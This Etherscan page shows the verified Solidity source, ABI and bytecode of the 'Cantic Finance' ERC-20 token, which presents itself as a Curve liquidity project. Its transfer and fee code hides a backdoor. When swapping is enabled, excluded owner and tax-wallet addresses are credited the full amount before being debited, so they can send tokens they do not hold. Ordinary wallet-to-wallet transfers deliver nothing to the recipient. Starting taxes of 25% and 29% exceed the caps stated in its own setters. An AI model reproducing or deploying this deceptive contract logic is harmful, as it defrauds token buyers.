ETH Price: $3,387.87 (-2.67%)
Gas: 1 Gwei

Token

Cantic Finance (CANTIC)
 

Overview

Max Total Supply

1,000,000,000 CANTIC

Holders

108

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
4,756,905.718714621 CANTIC

Value
$0.00
0xd4f69d02ef082f612558588d103994a7e3cf29c9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CANTIC

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-17
*/

// SPDX-License-Identifier: Unlicensed

/**
Cantic Finance is an easy-to-use platform built for liquidity providers to easily diversify their exposure to multiple Curve pools. Any user can provide liquidity into a Cantic Omnipool which allocates funds across Curve in proportion to protocol controlled pool weights.

Website: https://canticfinance.tech
Telegram: https://t.me/canticfi_erc
Twitter: https://twitter.com/canticfi_erc
*/

pragma solidity 0.8.21;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router02 {
    
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract CANTIC is Context, IERC20, Ownable {
    
    using SafeMath for uint256;
    
    string private _name ="Cantic Finance";
    string private _symbol = "CANTIC";
    uint8 private _decimals = 9;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    mapping (address => bool) public checkExcludedFromFees;
    mapping (address => bool) public checkWalletLimitExcept;
    mapping (address => bool) public checkTxLimitExcept;
    mapping (address => bool) public checkMarketPair;

    uint256 public _liquidityShares = 0;
    uint256 public _marketingShares = 10;
    uint256 public _developmentShares = 0;

    uint256 public _totalTaxIfBuying = 25;
    uint256 public _totalTaxIfSelling = 29;
    uint256 public _totalDistributionShares = 10;

    uint256 public _buyLiquidityFees = 0;
    uint256 public _buyMarketingFees = 25;
    uint256 public _buyDevelopmentFees = 0;
    uint256 public _sellLiquidityFees = 0;
    uint256 public _sellMarketingFees = 29;
    uint256 public _sellDevelopmentFees = 0;

    uint256 private _totalSupply = 1000_000_000 * 10**9;
    uint256 public maxTxAmount = _totalSupply;
    uint256 public maxWallet = _totalSupply*15/1000;
    uint256 private minTokensToSwap = _totalSupply/10000; 

    address payable private taxWallet;
    address public immutable DEAD = 0x000000000000000000000000000000000000dEaD;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = false;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = true;

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        taxWallet = payable(0xc83D81c1192a561D83DEd1f42012Bc234Db5392e);

        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        checkExcludedFromFees[owner()] = true;
        checkExcludedFromFees[taxWallet] = true;

        checkWalletLimitExcept[owner()] = true;
        checkWalletLimitExcept[taxWallet] = true;
        checkWalletLimitExcept[address(uniswapPair)] = true;
        checkWalletLimitExcept[address(this)] = true;
        
        checkTxLimitExcept[owner()] = true;
        checkTxLimitExcept[taxWallet] = true;
        checkTxLimitExcept[address(this)] = true;

        checkMarketPair[address(uniswapPair)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setBuyFee(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newDevelopmentTax) external onlyOwner() {
        _buyLiquidityFees = newLiquidityTax;
        _buyMarketingFees = newMarketingTax;
        _buyDevelopmentFees = newDevelopmentTax;

        _totalTaxIfBuying = _buyLiquidityFees.add(_buyMarketingFees).add(_buyDevelopmentFees);
        require (_totalTaxIfBuying <= 10);
    }

    function setSellFee(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newDevelopmentTax) external onlyOwner() {
        _sellLiquidityFees = newLiquidityTax;
        _sellMarketingFees = newMarketingTax;
        _sellDevelopmentFees = newDevelopmentTax;

        _totalTaxIfSelling = _sellLiquidityFees.add(_sellMarketingFees).add(_sellDevelopmentFees);
        require (_totalTaxIfSelling <= 20);
    }
    
    function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newDevelopmentShare) external onlyOwner() {
        _liquidityShares = newLiquidityShare;
        _marketingShares = newMarketingShare;
        _developmentShares = newDevelopmentShare;

        _totalDistributionShares = _liquidityShares.add(_marketingShares).add(_developmentShares);
    }

    function setcheckWalletLimitExcept(address holder, bool exempt) external onlyOwner {
        checkWalletLimitExcept[holder] = exempt;
    }

    function setWalletLimit(uint256 newLimit) external onlyOwner {
        maxWallet  = newLimit;
    }

    function settaxWallet(address newAddress) external onlyOwner() {
        taxWallet = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
    }
    
    function adjustMaxTxAmount(uint256 maxTxAmount_) external onlyOwner() {
        require(maxTxAmount_ >= _totalSupply/100, "Max wallet should be more or equal to 1%");
        maxTxAmount = maxTxAmount_;
    }

    function enableDisableWalletLimit(bool newValue) external onlyOwner {
       checkWalletLimit = newValue;
    }

    function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
        swapAndLiquifyByLimitOnly = newValue;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD));
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {

        swapTokensForEth(tAmount);
        uint256 amountETHMarketing = address(this).balance;
        transferToAddressETH(taxWallet, amountETHMarketing);

    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal view returns (uint256, uint256) {
        
        uint256 feeAmount = amount;

        if (checkExcludedFromFees[sender] && swapAndLiquifyEnabled) return (amount, feeAmount);

        if(checkMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(checkMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if (checkExcludedFromFees[sender]) {
            return (amount, 0);
        }

        return (amount.sub(feeAmount), feeAmount);
    }

     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {
            if(!checkTxLimitExcept[sender] && !checkTxLimitExcept[recipient]) {
                require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }            

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minTokensToSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !checkExcludedFromFees[sender] && checkMarketPair[recipient] && swapAndLiquifyEnabled && amount > minTokensToSwap) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minTokensToSwap;
                swapAndLiquify(contractTokenBalance);    
            }

            (uint256 finalAmount, uint256 feeAmount) = takeFee(sender, recipient, amount);

            address feeReceiver = feeAmount == amount ? sender : address(this);
            if(feeAmount > 0) {
                _balances[feeReceiver] = _balances[feeReceiver].add(feeAmount);
                emit Transfer(sender, feeReceiver, feeAmount);
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            if(checkWalletLimit && !checkWalletLimitExcept[recipient])
                require(balanceOf(recipient).add(finalAmount) <= maxWallet);

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDevelopmentFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_developmentShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDevelopmentFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount_","type":"uint256"}],"name":"adjustMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkTxLimitExcept","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkWalletLimitExcept","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newDevelopmentTax","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newDevelopmentShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newDevelopmentTax","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setcheckWalletLimitExcept","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"settaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052600e60a09081526d43616e7469632046696e616e636560901b60c0526002906200002f9082620005b0565b5060408051808201909152600681526543414e54494360d01b60208201526003906200005c9082620005b0565b50600960045f6101000a81548160ff021916908360ff1602179055505f600b55600a600c555f600d556019600e55601d600f55600a6010555f60115560196012555f6013555f601455601d6015555f601655670de0b6b3a76400006017556017546018556103e8601754600f620000d4919062000678565b620000e09190620006a2565b601955612710601754620000f59190620006a2565b601a5561dead608052601d805462ffffff60a81b1916600160b81b1790553480156200011f575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601b80546001600160a01b03191673c83d81c1192a561d83ded1f42012bc234db5392e1790556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d91829163c45a0155916004808201926020929091908290030181865afa158015620001d8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001fe9190620006c2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200024a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002709190620006c2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002bb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002e19190620006c2565b601d80546001600160a01b039283166001600160a01b031991821617909155601c80549284169290911682179055601754305f90815260066020908152604080832094835293905291822055600190600790620003455f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055601b5490911681526007909252812080549092166001908117909255600890620003a35f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055601b54821681526008909352818320805485166001908117909155601d549091168352818320805485168217905530835290822080549093168117909255600990620004235f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055601b5482168152600984528281208054861660019081179091553082528382208054871682179055601d549092168152600a90935290822080549093161790915560175490600590620004a03390565b6001600160a01b0316815260208101919091526040015f2055336001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6017546040516200050191815260200190565b60405180910390a350620006f1565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200053957607f821691505b6020821081036200055857634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620005ab575f81815260208120601f850160051c81016020861015620005865750805b601f850160051c820191505b81811015620005a75782815560010162000592565b5050505b505050565b81516001600160401b03811115620005cc57620005cc62000510565b620005e481620005dd845462000524565b846200055e565b602080601f8311600181146200061a575f8415620006025750858301515b5f19600386901b1c1916600185901b178555620005a7565b5f85815260208120601f198616915b828110156200064a5788860151825594840194600190910190840162000629565b50858210156200066857878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b80820281158282048414176200069c57634e487b7160e01b5f52601160045260245ffd5b92915050565b5f82620006bd57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620006d3575f80fd5b81516001600160a01b0381168114620006ea575f80fd5b9392505050565b608051611ce0620007115f395f818161029f0152610ab30152611ce05ff3fe608060405260043610610283575f3560e01c806382eefb4311610155578063c49b9a80116100be578063f0cd1dac11610078578063f0cd1dac14610798578063f1d5f517146107ad578063f2fde38b146107cc578063f872858a146107eb578063f8b45b051461080b578063fabf706314610820575f80fd5b8063c49b9a80146106b3578063c78a789b146106d2578063c816841b14610700578063d76e26a31461071f578063da00097d14610734578063dd62ed3e14610754575f80fd5b80639e3fa3231161010f5780639e3fa32314610617578063a08e671f1461062c578063a5d69d1f14610641578063a9059cbb14610660578063b6c3af341461067f578063c2d4640e14610694575f80fd5b806382eefb431461058a5780638c0b5e221461059f5780638da5cb5b146105b45780638f03aad5146105d0578063914eb66a146105ef57806395d89b4114610603575f80fd5b80632df67109116101f7578063565cec38116101b1578063565cec38146104e357806357e6adcb146104f8578063646d470014610517578063661b6e361461052c578063705f9d741461054157806370a0823114610556575f80fd5b80632df671091461041c5780632f0a5fd414610431578063313ce567146104465780634a74bb0214610467578063526012e81461048757806355324fa9146104b5575f80fd5b806318160ddd1161024857806318160ddd1461036e5780631d865c301461038c57806323b872dd146103ab57806325519cf2146103ca5780632563ae83146103e95780632b112e4914610408575f80fd5b806303fd2a451461028e57806304b8d329146102de57806306fdde03146102ff578063095ea7b3146103205780631694505e1461034f575f80fd5b3661028a57005b5f80fd5b348015610299575f80fd5b506102c17f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156102e9575f80fd5b506102fd6102f8366004611962565b61084e565b005b34801561030a575f80fd5b506103136108a2565b6040516102d5919061197d565b34801561032b575f80fd5b5061033f61033a3660046119c8565b610932565b60405190151581526020016102d5565b34801561035a575f80fd5b50601c546102c1906001600160a01b031681565b348015610379575f80fd5b506017545b6040519081526020016102d5565b348015610397575f80fd5b506102fd6103a63660046119f2565b610948565b3480156103b6575f80fd5b5061033f6103c5366004611a1b565b6109aa565b3480156103d5575f80fd5b506102fd6103e43660046119f2565b610a13565b3480156103f4575f80fd5b506102fd610403366004611a6d565b610a6a565b348015610413575f80fd5b5061037e610ab1565b348015610427575f80fd5b5061037e60125481565b34801561043c575f80fd5b5061037e60145481565b348015610451575f80fd5b5060045460405160ff90911681526020016102d5565b348015610472575f80fd5b50601d5461033f90600160a81b900460ff1681565b348015610492575f80fd5b5061033f6104a1366004611962565b60086020525f908152604090205460ff1681565b3480156104c0575f80fd5b5061033f6104cf366004611962565b600a6020525f908152604090205460ff1681565b3480156104ee575f80fd5b5061037e600c5481565b348015610503575f80fd5b506102fd610512366004611a86565b610afa565b348015610522575f80fd5b5061037e60165481565b348015610537575f80fd5b5061037e60155481565b34801561054c575f80fd5b5061037e60135481565b348015610561575f80fd5b5061037e610570366004611962565b6001600160a01b03165f9081526005602052604090205490565b348015610595575f80fd5b5061037e600f5481565b3480156105aa575f80fd5b5061037e60185481565b3480156105bf575f80fd5b505f546001600160a01b03166102c1565b3480156105db575f80fd5b506102fd6105ea366004611ab9565b610b4d565b3480156105fa575f80fd5b506102fd610bea565b34801561060e575f80fd5b50610313610c5b565b348015610622575f80fd5b5061037e600b5481565b348015610637575f80fd5b5061037e60105481565b34801561064c575f80fd5b506102fd61065b366004611a6d565b610c6a565b34801561066b575f80fd5b5061033f61067a3660046119c8565b610cb1565b34801561068a575f80fd5b5061037e60115481565b34801561069f575f80fd5b506102fd6106ae3660046119f2565b610cbd565b3480156106be575f80fd5b506102fd6106cd366004611a6d565b610d0b565b3480156106dd575f80fd5b5061033f6106ec366004611962565b60096020525f908152604090205460ff1681565b34801561070b575f80fd5b50601d546102c1906001600160a01b031681565b34801561072a575f80fd5b5061037e600d5481565b34801561073f575f80fd5b50601d5461033f90600160b01b900460ff1681565b34801561075f575f80fd5b5061037e61076e366004611ad0565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b3480156107a3575f80fd5b5061037e600e5481565b3480156107b8575f80fd5b506102fd6107c7366004611ab9565b610d52565b3480156107d7575f80fd5b506102fd6107e6366004611962565b610d80565b3480156107f6575f80fd5b50601d5461033f90600160b81b900460ff1681565b348015610816575f80fd5b5061037e60195481565b34801561082b575f80fd5b5061033f61083a366004611962565b60076020525f908152604090205460ff1681565b5f546001600160a01b031633146108805760405162461bcd60e51b815260040161087790611b07565b60405180910390fd5b601b80546001600160a01b0319166001600160a01b0392909216919091179055565b6060600280546108b190611b3c565b80601f01602080910402602001604051908101604052809291908181526020018280546108dd90611b3c565b80156109285780601f106108ff57610100808354040283529160200191610928565b820191905f5260205f20905b81548152906001019060200180831161090b57829003601f168201915b5050505050905090565b5f61093e338484610e67565b5060015b92915050565b5